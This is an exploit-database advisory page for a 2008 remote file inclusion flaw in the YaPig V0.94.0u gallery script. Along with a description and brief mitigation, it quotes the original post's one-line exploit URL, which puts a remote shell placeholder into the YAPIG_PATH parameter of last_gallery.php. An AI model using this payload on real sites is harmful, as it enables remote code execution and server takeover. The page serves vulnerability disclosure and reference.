header-logo
Suggest Exploit
vendor:
YaPig
by:
JIKO (JAWAD)
8,8
CVSS
HIGH
Remote File Inclusion
98
CWE
Product Name: YaPig
Affected Version From: V0.94.0u
Affected Version To: V0.94.0u
Patch Exists: YES
Related CWE: N/A
CPE: a:yapig:yapig:0.94.0u
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

YaPig V0.94.0u Remote File Inclusion Vulnerability

A remote file inclusion vulnerability exists in YaPig V0.94.0u, which allows an attacker to include a remote file on the web server. This can be exploited to execute arbitrary PHP code by including a malicious file from a remote location. The vulnerability is due to the 'YAPIG_PATH' parameter in 'last_gallery.php' not properly sanitizing user-supplied input.

Mitigation:

Input validation should be used to prevent the inclusion of remote files.
Source

Exploit-DB raw data:

  |=-----------------------------------------------------=|
  |=-------------=[  JIKO |No-exploit.Com|  ]=-----------=|
  |=-----------------------------------------------------=|
[~]-----------|00|
NAme    :JIKO (JAWAD)
Home    :No-exploit.Com
Mail    : !x!
[~]-----------|01|
    -{Script}
    name :YaPig V0.94.0u
    link :http://yapig.sourceforge.net/

[~]-----------|02|
    -{3xpl01t}
    http://no-exploit.com/last_gallery.php?YAPIG_PATH={Shell}
[~]-----------|03|
    -{Greetz}
    Cyber-Zone,HxH,Hussin X,ZaIdOoHxHaCkEr ,Stack,HiSoKa,The SadHacker,SkuLL-HacKeR ,Dr.NaNo
    |No-Exploit.com Members
-------------------------------------

Navigation

Suggest Exploit

Services By CQR